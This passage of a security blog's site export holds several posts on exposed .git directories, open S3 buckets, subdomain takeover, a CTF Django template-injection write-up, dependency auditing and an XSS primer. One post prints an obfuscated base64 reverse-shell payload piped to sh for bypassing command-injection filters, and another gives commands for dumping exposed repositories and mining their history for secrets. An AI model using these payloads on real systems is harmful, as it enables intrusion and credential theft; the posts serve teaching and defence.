does not fall back to default-src, so leaving it out means it\u0026rsquo;s wide open. CSP is hard to get right! Always validate your CSP against public tools that help find loopholes and shortcomings. The base tag is an incredibly powerful tag when attempting to get an XSS payload to work. In cases where you are dealing with HTML tag filtering, it might make sense to try the base tag. Thanks for making it this far down the page. Feel obligated to point out something I screwed up or potentially have a differing opinion? Let me know in the comments below.\n","date":"9 January 2020","externalUrl":null,"permalink":"/posts/2020/2020-01-09-all-your-base-are-belong-to-me/","section":"Posts","summary":"","title":"All your base are belong to... me?","type":"posts"},{"content":"","date":"9 January 2020","externalUrl":null,"permalink":"/tags/base-uri/","section":"Tags","summary":"","title":"Base-Uri","type":"tags"},{"content":"","date":"9 January 2020","externalUrl":null,"permalink":"/tags/bug-bounty/","section":"Tags","summary":"","title":"Bug-Bounty","type":"tags"},{"content":"","date":"9 January 2020","externalUrl":null,"permalink":"/tags/csp/","section":"Tags","summary":"","title":"Csp","type":"tags"},{"content":"","date":"1 April 2018","externalUrl":null,"permalink":"/tags/git/","section":"Tags","summary":"","title":"Git","type":"tags"},{"content":"","date":"1 April 2018","externalUrl":null,"permalink":"/tags/source-code-disclosure/","section":"Tags","summary":"","title":"Source-Code-Disclosure","type":"tags"},{"content":" I get very excited when I see this screen (hopefully with more recent dates though\u0026hellip;)\nWelcome to another installment of random things I stumble across in my spare time that turn into a security incident, but I\u0026rsquo;m unable to find an actual security contact to report it to. Whew. Quite the title, right? I\u0026rsquo;m working on a shorter version, I promise.\nLet\u0026rsquo;s chat a little bit about Source Code Management (SCM) / Version Control systems. It\u0026rsquo;s quite common for software developers to be working on projects in a team or in an environment where being able to track changes is exceedingly helpful. SCM is essentially a requirement to develop software whether it be Mercurial, Subversion, or Git - teams are using SCM to handle all aspects of their code. SCM provides many huge benefits that I hinted at earlier. Individual files are version controlled and can be rolled back in case of a critical failure or bug. Projects can be broken in submodules which can be tracked individually allowing multiple teams to work on separate chunks of a larger project. In the end, SCM is just another part of the development life cycle.\nEnter Git. Git is a form of SCM that many would argue is the most popular version control system for software. Git is a simple command line interface (CLI) for managing software projects. I won\u0026rsquo;t get too technical, but at the end of the day, Git manages its internal state via a hidden folder named .git. It begins with a period to make it automatically hidden on most *nix based systems. And for most people, they never ever worry about it beyond that. Git will manage this folder automatically to keep track of everything related to the project.\nAwesome, so what\u0026rsquo;s the big deal? Well, many groups deploy their software by cloning their git repository right onto their web server. In theory, seems fine, right? Code from repo ends up on server. Server hosts said files.\nThe problem goes back to that .git directory I mentioned earlier. This directory contains ALL the needed information to recreate the entire git repository. When you clone a git repository to a web server (and your server is configured to allow access to dot files), anyone on the internet can make a copy of this .git directory.\nOnce you\u0026rsquo;ve made a copy of this directory, it\u0026rsquo;s game over. I now have a full copy of your source code, your intellectual property, your source of income. I can search offline for security vulnerabilities without triggering a WAF/IDS/Cloud WAF. I can harvest credentials and secrets stored in your repository. I can spin up a clone service just like yours with my branding. It\u0026rsquo;s pretty bad.\nExploiting It # Here\u0026rsquo;s the sad part: this is about as easy as it gets. No fancy tooling, no exploit chain, no 3AM caffeine-fueled debugging session. Just a couple of commands you probably already have installed.\nStep 1: Is it even there? # First, check whether the .git directory is reachable at all. Every git repository has a HEAD file, so it makes for a perfect canary.\ncurl -s https://example.com/.git/HEAD If you get back something like this, congratulations (or condolences, depending on which side of this you\u0026rsquo;re on):\nref: refs/heads/master While you\u0026rsquo;re at it, take a peek at .git/config. It usually spills the remote URL of the repository, which tells you exactly where the code lives (and sometimes contains credentials baked right into the URL\u0026hellip; yikes).\ncurl -s https://example.com/.git/config Step 2: Grab everything # If the server has directory listing turned on (like the screenshot at the top of this post), you\u0026rsquo;ve hit the jackpot. wget will happily crawl the whole thing for you:\nmkdir loot \u0026amp;\u0026amp; cd loot wget -r -np -nH -e robots=off -R \u0026#34;index.html*\u0026#34; https://example.com/.git/ A quick rundown of what all those flags are doing:\n-r \u0026ndash; Recursive. Follow every link in the directory listing. -np \u0026ndash; No parent. Don\u0026rsquo;t wander up out of the .git directory and crawl the rest of the site. -nH \u0026ndash; No host directory. Drops the files into ./.git instead of ./example.com/.git. -e robots=off \u0026ndash; Ignore robots.txt. Sorry, not sorry. -R \u0026ldquo;index.html*\u0026rdquo; \u0026ndash; Don\u0026rsquo;t save the auto-generated directory listing pages themselves. Step 3: Turn it back into source code # At this point you have a .git directory but no actual files. Git thinks everything has been deleted, so just ask it nicely to put everything back:\ngit checkout -- . And just like that, you have the full source code sitting on your machine. But don\u0026rsquo;t stop there! The working copy is only the latest version. The real fun is in the history:\ngit log --stat # who changed what, and when git log -p # every change ever made, line by line That second command is where the secrets live. Developers love to commit an API key, realize their mistake, and \u0026ldquo;fix\u0026rdquo; it by deleting it in the next commit. Guess what? It\u0026rsquo;s still sitting right there in the history. Forever.\nWhat if directory listing is off? # Good news for the defenders: if directory listing is disabled, wget has nothing to crawl and the recursive download falls flat. Bad news for the defenders: the files are still there, you just have to know their names. Since git\u0026rsquo;s internal structure is well-known, tools like git-dumper will read HEAD, follow the refs, and walk the object graph to fetch every file one by one.\npip install git-dumper git-dumper https://example.com/.git/ ./loot Same end result, just a few more requests. Turning off directory listing is not a fix.\nWrapping Up # Exposed .git directories are one of those issues that feel way too simple to be real, and yet I keep stumbling across them. It\u0026rsquo;s not a fancy bug. It\u0026rsquo;s not going to get a cool logo and a website. But it hands over your source code, your commit history, and whatever secrets someone forgot to scrub, all with a single wget command. That\u0026rsquo;s a pretty bad trade.\nSo, what should you do about it?\nDon\u0026rsquo;t deploy with git clone. Build your project and ship the artifacts to your web server. Your server doesn\u0026rsquo;t need your commit history, so don\u0026rsquo;t give it one. Block dotfiles at the web server. If you absolutely must deploy from a checkout, deny access to .git (and honestly, every dotfile) outright. In nginx, something like location ~ /\\.git { deny all; } does the trick. In Apache, RedirectMatch 404 /\\.git works nicely. Check your own stuff. Run that curl against /.git/HEAD on every site you own. It takes ten seconds. You might be unpleasantly surprised. If you were exposed, rotate everything. Assume every secret that has ever been committed to that repository is compromised, not just the ones in the latest version. Remember, history is forever. And one last plea, since it\u0026rsquo;s the reason this post took me forever to finish: please give people a way to report security issues to you. A security.txt file, a security@ email address, anything. I\u0026rsquo;d much rather send you a friendly heads-up than write a vague blog post about it.\nThanks for making it this far. Got a horror story of your own or think I missed something? Let me know in the comments below.\n","date":"1 April 2018","externalUrl":null,"permalink":"/posts/2018/2018-04-01-the-dangers-of-the-invisible-git-directory/","section":"Posts","summary":"","title":"The Dangers of the Invisible Git Directory","type":"posts"},{"content":"","date":"1 April 2018","externalUrl":null,"permalink":"/tags/web-security/","section":"Tags","summary":"","title":"Web-Security","type":"tags"},{"content":"","date":"4 December 2017","externalUrl":null,"permalink":"/tags/aws/","section":"Tags","summary":"","title":"Aws","type":"tags"},{"content":"","date":"4 December 2017","externalUrl":null,"permalink":"/tags/cloud/","section":"Tags","summary":"","title":"Cloud","type":"tags"},{"content":"","date":"4 December 2017","externalUrl":null,"permalink":"/tags/s3/","section":"Tags","summary":"","title":"S3","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. Yes, yes, I\u0026rsquo;m late to the party, I know. Poorly secured Amazon S3 buckets have been a thing for a while now, but recently there\u0026rsquo;s been a large uptick again as some awesome tools were written to help find these misconfigured buckets. Let\u0026rsquo;s chat a little about the problem at hand and show-off some cool tools!\nWhy all the drama about S3 Buckets? # For the uninitiated, Amazon Web Services offers a service called S3. S3, for lack of a better definition, is a web-based storage solution. It\u0026rsquo;s not a database. It\u0026rsquo;s not a key-value store. It\u0026rsquo;s literally a place to store files (Amazon calls it a cloud object storage). In fact, it\u0026rsquo;s closer to Google Drive and Dropbox than anything else.\nSo, this leads the question - \u0026ldquo;So, what?\u0026rdquo; I\u0026rsquo;m glad you asked\u0026hellip; You see, AWS is a very popular platform to host all sorts of things (servers, applications, storage, you name it and Amazon probably has an AWS service for it). For the longest time, AWS had very poor default permissions on a newly created S3 Bucket (an S3 instance is called a bucket). This meant anyone with a web browser and the ability to guess what you named your S3 Bucket could view, download, and even add new files to your S3 Bucket.\nOrganizations were hosting all sorts of interesting files in their S3 buckets. We\u0026rsquo;ve seen everything from flat-files (CSVs, Documents, Excel Sheets) to full database backup files. The only thing protecting someone from having their files stolen was guessing the name of their bucket. Once people got wind of this, we started seeing a handful of dictionary-based bruteforcers then the intelligent bruteforcers and now tools that detect when a bucket is created due to the HTTPS certificate being created. The InfoSec community really brought their A-Game to this party.\nYou mentioned tools\u0026hellip;? # We\u0026rsquo;ll start basic and move our way up. If you\u0026rsquo;re a bug hunter or just dabble in bug bounties in your spare time, I would highly suggest looking into S3 Bucket problems (especially if the target uses AWS to host their application).\nBruteforce tools. These are nothing out of the ordinary. They take a dictionary and bruteforce if that word has an associated S3 Bucket (and will see if it is configured wrong). I\u0026rsquo;ve tried my best to be language agnostic with these tools, so pick the language of your choice.\nhttps://github.com/gwen001/s3-buckets-finder (PHP?? Yeah, that\u0026rsquo;s still a thing) https://github.com/Ucnt/aws-s3-bruteforce (Python) https://github.com/nahamsec/lazys3 (Ruby) Certificate scanning tools. These watch for new HTTPS certificates being created (thank you, CertStream) and filter everything out except for S3 Buckets. They then test if the S3 Bucket is world-readable. They\u0026rsquo;re truly magical.\nhttps://github.com/eth0izzle/bucket-stream (Python) https://github.com/bbb31/slurp (Go) Obviously, in specific engagements there are upsides to testing a curated dictionary of words, but in other situations, it may be more interesting to see a real-time stream of new insecure buckets being created. I\u0026rsquo;m willing to bet Threat Intelligence companies will be eating this data and alerting based on keywords in the near future.\nFixing insecure buckets # Like all of my previous posts, I always try to include a section on remediating the discussed risk. So, let\u0026rsquo;s do just that.\nYou will need access to your organization\u0026rsquo;s AWS management console and an account with enough permission to administrate your S3 buckets.\nSign into your AWS management console\nNavigate to Amazon S3 (using search or the option under the millions of services)\nIn the bucket listing, ensure none say Public under Access\nFor a bucket you want to remove public access, click the bucket name, then click the Permissions tab\nUnder Public Access, ensure there are no permissions granted (refer to image below)\nConclusions # \u0026ldquo;The cloud\u0026rdquo; can be truly revolutionary, but we\u0026rsquo;ve got to work on better default configurations so it is harder for people to make these mistakes. I have always been a big fan of stricter default security policies - Yes, I know this may make some users frustrated that they need to configure your product instead of just install and go. But consider the security implications of a 3-Letter agency letting classified information be leaked due to a poorly configured S3 Bucket (Source: https://www.upguard.com/breaches/cloud-leak-inscom). Yes, that did indeed happen.\nThanks for making it this far \u0026ndash; Got something to say or wanna correct my inane rambling? Post it below.\n","date":"4 December 2017","externalUrl":null,"permalink":"/posts/2017/2017-12-04-the-s3-bucket-problem/","section":"Posts","summary":"","title":"The S3 Bucket Problem - The Latest Vuln to Become Popular","type":"posts"},{"content":"","date":"2 December 2017","externalUrl":null,"permalink":"/tags/dns/","section":"Tags","summary":"","title":"Dns","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. I\u0026rsquo;ve been meaning to write about this for a while now, but I never took the time to make it happen. So, here we go\u0026hellip; Hope it turns out like I was expecting!\nWhat is Subdomain Takeover? # Subdomain takeover has become a popular security topic due to the increasing prevalence of Bug Bounties and how easy it is to detect. Plenty of people have written scripts to check for this issue:\nhttps://github.com/nahamsec/HostileSubBruteforcer https://github.com/haccer/subjack https://github.com/michenriksen/aquatone Simply put, subdomain takeover is a type of DNS misconfiguration where a DNS entry (a CNAME record) points to another site where that domain is no longer registered. For example, let\u0026rsquo;s assume you own myimportantbusiness.com and your important business has a blog. Your blog is located at blog.myimportantbusiness.com but is hosted on Google\u0026rsquo;s Blogger platform. Your business decides you\u0026rsquo;d rather switch over to Wordpress (cause Wordpress is what everyone else in the industry is using) and your important business blog is now located at wordpress.myimportantbusiness.com.\nYour network administrator never removed blog.myimportantbusiness.com but instead just made a new DNS entry. Your web content team deleted the old Blogger blog and migrated the content to Wordpress. Now when you navigate to blog.myimportantbusiness.com you see a Blogger error stating that blog is not registered.\nThis is where the problem lies. Anyone else on the internet can now go re-register your company\u0026rsquo;s old blog and now technically owns blog.myimportantbusiness.com. They can post whatever rude, malicious, or potentially incriminating content under your the guise of your domain.\nHow do we exploit this? # Unfortunately, this is the complicated part. Not all dangling subdomains can be exploited as it requires the target service to allow you to re-register the old entry. For example, many CDNs won\u0026rsquo;t let you re-register a service without proving you own the domain. The short answer is: You need to check out where the subdomain is pointing to and determine if you can re-register the old entry. Not a great answer, I know.\nThe good part though: Others have already made lists of common services which people tend to leave old DNS entries for and can even automatically re-register the entry to your account. A few examples:\nAWS Cloudfront Heroku Zendesk Tumblr/Blogger/Wordpress.com I linked to a collection of tools above which can assist in determining if a subdomain is vulnerable.\nHow do we fix these problems? # Quick Solution: Remove the DNS entry \u0026ndash; This works for most situations\nLonger Term Solution: Define a policy where whomever manages DNS at your organization performs a regular audit of your DNS entries. Yes, this can be tedious, but it can ensure your DNS records are up-to-date.\nConclusions # While subdomain takeover isn\u0026rsquo;t anything sexy or technically complicated or cool, it is a serious problem facing organizations large and small. Just go search Google for \u0026ldquo;site:hackerone.com subdomain takeover\u0026rdquo; - Check out all the results.\nThanks for making it this far. Did I miss something? Let me know below.\n","date":"2 December 2017","externalUrl":null,"permalink":"/posts/2017/2017-12-02-subdomain-takeover-preventing-the-pr-disaster/","section":"Posts","summary":"","title":"Subdomain Takeover - Preventing the PR Disaster","type":"posts"},{"content":"","date":"2 December 2017","externalUrl":null,"permalink":"/tags/subdomain-takeover/","section":"Tags","summary":"","title":"Subdomain-Takeover","type":"tags"},{"content":"","date":"17 September 2017","externalUrl":null,"permalink":"/tags/csaw/","section":"Tags","summary":"","title":"Csaw","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. It was about time for something a little bit different around here, so here\u0026rsquo;s my write-up for the CSAW CTF 2017 \u0026ndash; Web 150 challenge titled Shia Labeouf-off! Hope it\u0026rsquo;s as enjoyable to read as I enjoyed solving it.\nFrom the start, we are given very little as many CTFs do. We\u0026rsquo;re directed to a URL running a rather ridiculous webapp about the man, the myth, the legend\u0026hellip; Shia Labeouf\u0026hellip;\nThe Strategy # I clicked all the links and watched the traffic in Burp Suite to see if anything interesting was taking place. For the most part, everything was rather boring. I began fuzzing random input in the ad-lib generator when I stumbled upon the first clue, a Django debug page.\nBased on the error, I figured we were dealing with SSTI (Server-Side Template Injection). I have read posts prior to this on Flask Jinja template injection, but I had never read anything about Django\u0026rsquo;s template system being injectable. In fact, I was under the impression Django was pretty solid (as a web framework goes\u0026hellip;).\nAfter digging through this debug page, I noticed the load pools_extras statement on line 3 of the debug output. I had no idea what that line did, so I started digging into the Django docs. That digging led me to finding this Django doc: https://docs.djangoproject.com/en/1.11/howto/custom-template-tags/\nTurns out you can define custom template tags in Django and then use them once you\u0026rsquo;ve loaded that specific module. The problem is that you need the source code from the custom template tag module to know what the name of the custom tags are.\nThe Solution # This led me down a horrible side-path that went absolutely nowhere. I tried finding a .git directory assuming there might be a git repository we needed to use to find something else. This was a complete waste of time, but it allowed me to accidentally find another Django error page which was helpful. The polls section of the web app numbers each poll. If you specify a poll number greater than 2, you get a very helpful error page.\nScrolling down this page, you eventually find an exception that occurs in pools_extras.py which is the file we need to see the source code for. Django kindly allows you to expand the source code of the problematic code and now we have the info we need!\nWe can see there are a few custom template tags that are defined for us: getme, checknum, listme. Based on the Django docs earlier, these tags can be used in the ad-lib generator to potentially get us somewhere. The problem is that when you go back and re-read the docs, you can only apply a custom tag to a predefined Django Template Context variable. Again, I hit the wall\u0026hellip;\nThe example from the Django docs. Custom tags are applied to a predefined variable via the pipe character. Ughhhh\u0026hellip;\nI began pouring over the original Django error page again and found something rather odd. See if you can notice it as well.\nSorry to ruin the surprise if you didn\u0026rsquo;t catch it, but what the actual hell is mrpoopy which is defined in the RequestContext object. Rick and Morty always seems to randomly appear lately\u0026hellip; So, what the hell is inside this object?? Let\u0026rsquo;s use one of those fancy custom template tags to find out, shall we?\nThe payload: {{ mrpoopy|listme }}\nSo, it appears there are a few attributes of mrpoopy and they are: Woohoo, __doc__, __flag__, __module__. I\u0026rsquo;m sure you can see where this is going at this point. We have the flag right in front of our faces! Sure enough, there\u0026rsquo;s another custom tag to get an attribute, so let\u0026rsquo;s see what happens\u0026hellip;\nThe payload: {{ mrpoopy|getme:\u0026quot;__flag__\u0026quot; }}\nAnd there you have it, SSTI of Custom Django Template Tags leads us to obtaining a flag. The hardest part of this one was figuring out the syntax for applying a custom tag. It\u0026rsquo;s really quite odd.\nHope you enjoyed the play-by-play of solving Web 150 of CSAW 2017. I hope to do more of these as time permits!\n","date":"17 September 2017","externalUrl":null,"permalink":"/posts/2017/2017-09-17-csaw-ctf-2017-web-150-write-up/","section":"Posts","summary":"","title":"CSAW CTF 2017 - Web 150 Write-Up [Shia Labeouf-off!]","type":"posts"},{"content":"","date":"17 September 2017","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":"","date":"17 September 2017","externalUrl":null,"permalink":"/tags/django/","section":"Tags","summary":"","title":"Django","type":"tags"},{"content":"","date":"17 September 2017","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"Ssti","type":"tags"},{"content":"","date":"15 July 2017","externalUrl":null,"permalink":"/tags/command-injection/","section":"Tags","summary":"","title":"Command-Injection","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. Another quickly thrown together blog post. Life\u0026rsquo;s been busy, and therefore the blog has unfortunately been thrown on the back burner. But fear not, I had a fun run-in with some remote command execution that lead me down a horrible rabbit hole. I figured if I spent a ton of time on it, others might get similarly stuck. So, without further ado\u0026hellip; Let\u0026rsquo;s jump into this madness.\nThe Scenario # You find yourself in a situation where you KNOW you have command injection / command execution, but a WAF or the code itself is stripping a subset of characters. In my situation, I was having all forms of slashes (/ and ) being removed from my request. At the same time, ModSecurity was blocking obnoxiously long payloads as well. So, why was this a problem? In order to bump the severity of the command execution, I NEEDED a reverse shell. No one cares if you can inject a boring sleep 99 command, and I realized this.\nFun fact, a lot of reverse shells rely on slash characters. And when you\u0026rsquo;re a useless hacker like myself, you have a go-to cheatsheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\nShout out to pentestmonkey for keeping that reference alive. It has given me so many reverse shells in the past that I can\u0026rsquo;t thank them enough.\nThe Exploit # I spent quite a bit of time trying whip out my bash-fu and do some in-line slash replacement. Turns out this is messier than some of those reverse shells (looking at you PERL). Also, it never worked. In fact, never ever try it. It\u0026rsquo;s just a bad idea. But that in-line slash replacement did lead me down an interesting path that created the AHA moment. That AHA moment was when I found myself base64 encoding the slash character to perform that nasty in-line replacement junk.\nMy face when I realized that base64 was the answer\u0026hellip;\nIt took a second of screwing about until I realized, why not just base64 encode the bloody reverse shell payload?!?!?! Needless to say, this worked quite elegantly. I did realize after the fact that I got lucky my payload didn\u0026rsquo;t contain a slash as base64 can contain slashes, but you can also hex encode your payload as well. Shown below is my multiple hours of fumbling about and the payload that ended up working.\necho YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS84MDgwIDA+JjE= | base64 -d | sh ## If base64 is not available for whatever reason, you can also use xxd with a hex-encoded payload to the exact same effect.\nHope someone found this interesting and potentially helpful. Feel free to post questions below!\n","date":"15 July 2017","externalUrl":null,"permalink":"/posts/2017/2017-07-15-getting-rce-when-filtering-gets-in-your-way/","section":"Posts","summary":"","title":"Getting that RCE When Filtering Gets in Your Way","type":"posts"},{"content":"","date":"15 July 2017","externalUrl":null,"permalink":"/tags/pentesting/","section":"Tags","summary":"","title":"Pentesting","type":"tags"},{"content":"","date":"15 July 2017","externalUrl":null,"permalink":"/tags/rce/","section":"Tags","summary":"","title":"Rce","type":"tags"},{"content":"","date":"15 July 2017","externalUrl":null,"permalink":"/tags/reverse-shell/","section":"Tags","summary":"","title":"Reverse-Shell","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. Another quick post on scanning projects for vulnerabilities using a quick and easy tool. End of the day, these are super quick wins for a security audit as you can identify packages that either need to be removed or should be updated to a newer version. Lame? Maybe. However, these are the small problems that can be chained with a worse vulnerability to lead to a potential critical vulnerability. I personally try my best to never lose sight of the low-hanging fruit (aka never forget the low severity issues, they matter too!).\nSo, let\u0026rsquo;s get into the actual interesting part of this post. I\u0026rsquo;m going to outline a scenario for when using this workflow might make sense, but this likely isn\u0026rsquo;t the ONLY situation when this workflow will be useful.\nThe Scenario # You\u0026rsquo;ve been asked to do a security review of a new .NET web project. You\u0026rsquo;ve been given the source code, and you\u0026rsquo;re expected to get a security review done ASAP. One of the easiest wins is to check whether the packages being used contain known vulnerabilities. If so, that\u0026rsquo;s sure as hell a finding!\nTechnical Details # In general, most .NET projects (C#, Visual C++, ASP.NET, etc) use Nuget to handle external dependency management. Simply put, Nuget is like PIP for Python, SBT for Scala, NPM for NodeJS, and the list goes on. Like all package management systems, there\u0026rsquo;s absolutely no auto-updating of dependencies because THAT MIGHT BREAK THE BUILD. So, how do we audit the external dependencies of a .NET project? Let me introduce you to DevAudit.\nDevAudit offers a TON of options, but I specifically use it to audit Nuget packages for .NET applications. You\u0026rsquo;re highly encouraged to check out the other features of DevAudit, but for the purpose of this post, I will be focusing on the Nuget audit features.\nAuditing a Project # NOTE: For once, I will be making a huge assumption you are using Powershell on a newer version of Windows. DevAudit, in my tests, runs best on Windows. You can get it to work on Linux, but you will need to figure out .NET Core shenanigans which has arguably gotten easier as of lately.\nGrab the latest version of DevAudit from their releases section of Github. Open up your trusty Powershell console, and run the following command.\n$env:Path += \u0026#34;;\u0026lt;full-path-to-devaudit-folder-here\u0026gt;\u0026#34; That little snippet will add the DevAudit directory to your Powershell path so it\u0026rsquo;s less painful to run the program. Using Powershell, navigate into your project\u0026rsquo;s directory and locate the Packages.config file. This is the file that contains the list of Nuget packages used in the project and the version used. This also happens to be the file DevAudit needs to audit the project. Be sure to be in the same directory as the Packages.config file.\nNow simply run, devaudit.exe nuget . \u0026ndash; I\u0026rsquo;ve included some sample output from a random project I pulled off Github.\nPS C:\\Users\\seanm\\Desktop\\test\\Templates-master\\Source\\MVC5\\Boilerplate.Web.Mvc5.Sample\u0026gt; devaudit.exe nuget . _____ _______ __ __ __ | \\ .-----..--.--.| _ |.--.--..--| ||__|| |_ | -- || -__|| | || || | || _ || || _| |_____/ |_____| \\___/ |___|___||_____||_____||__||____| v2.0.3.52 21:46:21\u0026lt;01\u0026gt; [AUDIT] [STATUS] Scanning NuGet packages. Scanning NuGet packages... 21:46:21\u0026lt;01\u0026gt; [AUDIT] [SUCCESS] Scanned 33 NuGet packages. Searching OSS Index for vulnerabilities for 33 packages... 21:46:22\u0026lt;05\u0026gt; [AUDIT] [SUCCESS] Found 13 vulnerabilities for 33 package(s) on OSS Index in 1184 ms. 21:46:22\u0026lt;05\u0026gt; [AUDIT] [INFO] Evaluated 13 vulnerabilities with 3 matches to package version in 103 ms. Package Source Audit Results ============================ 3 total vulnerabilities found in NuGet package source audit. Total time for audit: 1365 ms. [1/6] jQuery [VULNERABLE] 7 known vulnerabilities, 2 affecting installed package version(s): [2.2.3] --[1/2] [Duplicate] Cross Site Scripting (XSS) --Description: See https://ossindex.net/resource/vulnerability/8399962417 Requests to third-party resources with a text/javascript response type are automatically evaluated, which can result in the execution of arbitrary code. --Affected versions: \u0026gt;1.12.3 \u0026lt;3.0.0-beta1 --[2/2] Cross Site Scripting (XSS) in parseHTML --Description: \u0026gt; Scripts passed in event attributes are executed in parseHTML immediately, without any possibility for the user to intervene \u0026gt; \u0026gt; -- [github.com](https://github.com/jquery/jquery/pull/1505) --Affected versions: \u0026lt;3.0.0 [2/6] bootstrap.less [VULNERABLE] 2 known vulnerabilities, 1 affecting installed package version(s): [3.3.6] --[1/1] Cross Site Scripting (XSS) in data-target attribute --Description: The data-target attribute is vulnerable to Cross-Site Scripting attacks when user-data is supplied to t he data-target attribute. --Affected versions: \u0026lt;= 3.3.7 [3/6] Glimpse 1 known vulnerability, 0 affecting installed package version(s). [4/6] Glimpse.AspNet 1 known vulnerability, 0 affecting installed package version(s). [5/6] jQuery.Validation 1 known vulnerability, 0 affecting installed package version(s). [6/6] Microsoft.AspNet.Mvc 1 known vulnerability, 0 affecting installed package version(s). PS C:\\Users\\seanm\\Desktop\\test\\Templates-master\\Source\\MVC5\\Boilerplate.Web.Mvc5.Sample\u0026gt; That simple. The report is color-coded, but Github Gists can\u0026rsquo;t capture that. Sorry. Overall, I found this tool to be incredibly easy to use and provided incredibly helpful output for a recent assessment. Hopefully someone else benefits from using this tool.\nSuggestions, comments? Post \u0026rsquo;em below!\n","date":"28 April 2017","externalUrl":null,"permalink":"/posts/2017/2017-04-28-checking-nuget-packages-for-security-vulns/","section":"Posts","summary":"","title":"Checking NuGet Packages for Security Vulnerabilities","type":"posts"},{"content":"","date":"28 April 2017","externalUrl":null,"permalink":"/tags/dependencies/","section":"Tags","summary":"","title":"Dependencies","type":"tags"},{"content":"","date":"28 April 2017","externalUrl":null,"permalink":"/tags/devaudit/","section":"Tags","summary":"","title":"Devaudit","type":"tags"},{"content":"","date":"28 April 2017","externalUrl":null,"permalink":"/tags/dotnet/","section":"Tags","summary":"","title":"Dotnet","type":"tags"},{"content":"","date":"28 April 2017","externalUrl":null,"permalink":"/tags/nuget/","section":"Tags","summary":"","title":"Nuget","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. I know, another post so soon after the previous. I am just as shocked as you are. But all nonsense aside, let\u0026rsquo;s talk about some fun tools to audit the packages in a NodeJS application in search of publicly known security vulnerabilities.\nI was recently tasked with auditing a NodeJS application and like all technologies I\u0026rsquo;m not terribly comfortable with, I immediately look for the low-hanging fruit to start. I knew of npm (Node Package Manager), but I wasn\u0026rsquo;t really sure how NodeJS apps laid out their required packages. Needless to say, I learned quickly that packages are typically stored in a package.json / npm-shrinkwrap.json in the root of the project directory.\nBut I ran into a snag. The package.json file was huge for this project. This led to the inevitable question of how can I possibly review every single one of these packages?? And kids, this is where automation is your friend. I did some searching, and I found two pretty solid tools that will automatically scan your NodeJS packages and search for packages with known vulnerabilities. It\u0026rsquo;s so simple, one of them includes steps on how to integrate with your CI system (if desired).\nEnter the tools\u0026hellip; # For the purpose of this post, I will be covering two separate tools used to audit NodeJS packages.\nsnyk (https://snyk.io/) - Snyk requires that you install all packages for the project, and then it will scan them looking for known CVEs and advisories using their curated database nsp (https://nodesecurity.io/) - NSP scans your project\u0026rsquo;s package.json file and searches for known vulnerabilities using their curated database In my tests, Snyk seemed to be more accurate likely because I was forced to install the packages which pulls down everything needed (including dependencies of dependencies), but NSP runs much quicker as you don\u0026rsquo;t need to install all the dependencies for a project first.\nUsing Node Security Platform (nsp) # Watch the terminal recording on asciinema\nUsing Snyk # Watch the terminal recording on asciinema\nConclusions # In my opinion, the output of Snyk seems to work better for my situations. I like the Snyk vulnerability database links as they always seem to contain very helpful information in all the cases I\u0026rsquo;ve used it. Also, I hope you like the Asciinema casts. I\u0026rsquo;ve seen them around before, but I never thought to use them until now.\nFeel free to share your thoughts or questions in the comments below.\n","date":"15 February 2017","externalUrl":null,"permalink":"/posts/2017/2017-02-15-auditing-nodejs-packages-for-security-vulns/","section":"Posts","summary":"","title":"Auditing Your NodeJS Packages for Security Vulns","type":"posts"},{"content":"","date":"15 February 2017","externalUrl":null,"permalink":"/tags/nodejs/","section":"Tags","summary":"","title":"Nodejs","type":"tags"},{"content":"","date":"15 February 2017","externalUrl":null,"permalink":"/tags/npm/","section":"Tags","summary":"","title":"Npm","type":"tags"},{"content":"","date":"15 February 2017","externalUrl":null,"permalink":"/tags/snyk/","section":"Tags","summary":"","title":"Snyk","type":"tags"},{"content":" Originally published on my old Blogger site in 2017. Some of this may be out of date. It\u0026rsquo;s been a while since I\u0026rsquo;ve written up a new post, so I thought I\u0026rsquo;d start a new series where I do deep dives into common web application security topics. The thought is to cover a lot of the things you\u0026rsquo;d typically find in a bug bounty program so that others can jump into them and be successful. I\u0026rsquo;d love to hear your feedback, so please let me know what you\u0026rsquo;d like to see more of.\nWhat even is Cross-Site Scripting (XSS)? # There\u0026rsquo;s plenty of definitions floating around on the internet, and you\u0026rsquo;re encouraged to do research of your own. I\u0026rsquo;m going to try to do my best to simplify the many overly technical definitions down to something straightforward. XSS is when a web server returns user-input in the web response without properly encoding/escaping it. So, you might ask, why is it bad to include user-defined input in a web response? Well, a user can include arbitrary HTML or Javascript in their input which would then get rendered back to the user. This means a malicious user can control what content another user gets rendered back to them when viewing parts of a website. Definitely a scary thought.\nWhat is the impact of XSS? # Since we just learned that a user can control parts of a web response, what can we do from there? Well, a malicious user can take advantage of an XSS issue to do a variety of things which I\u0026rsquo;ll outline below.\nSteal / manipulate browser cookies If a cookie does not specify the HTTPOnly flag, Javascript can view the contents of this cookie and then ship that data off to an attacker\u0026rsquo;s server allowing the attacker to impersonate a user. Perform actions on the user\u0026rsquo;s behalf Javascript can make arbitrary web requests, so an XSS vulnerability could send targeted web requests that perform sensitive actions on the user\u0026rsquo;s behalf (since the user\u0026rsquo;s session cookie is sent along in Javascript web requests). CSRF mitigation would help stop these kinds of attacks. DOS a website I don\u0026rsquo;t make take a server down with numerous requests, but that has already been done with nasty Javascript before. You can use malicious Javascript to redirect a user away from a website effectively DOS\u0026rsquo;ing their website. At the end of the day, you are limited by what Javascript can do which based on the BeEF toolkit is essentially anything at this point.\nFinding an XSS Issue # There\u0026rsquo;s a handful of tools out there to assist you in finding XSS issues in a website, but knowing how to find them by hand can save you when you are without tools or your engagement doesn\u0026rsquo;t allow automated tooling. Some automated tools are:\nOWASP ZAP XSSpy w3af In general, you are looking for a situation where user-input is being directly reflected back in the response. A web proxy is incredibly helpful in this situation, so you can see exactly what the web server is returning in every response. A few notable web proxies are:\nBurp Suite Fiddler OWASP 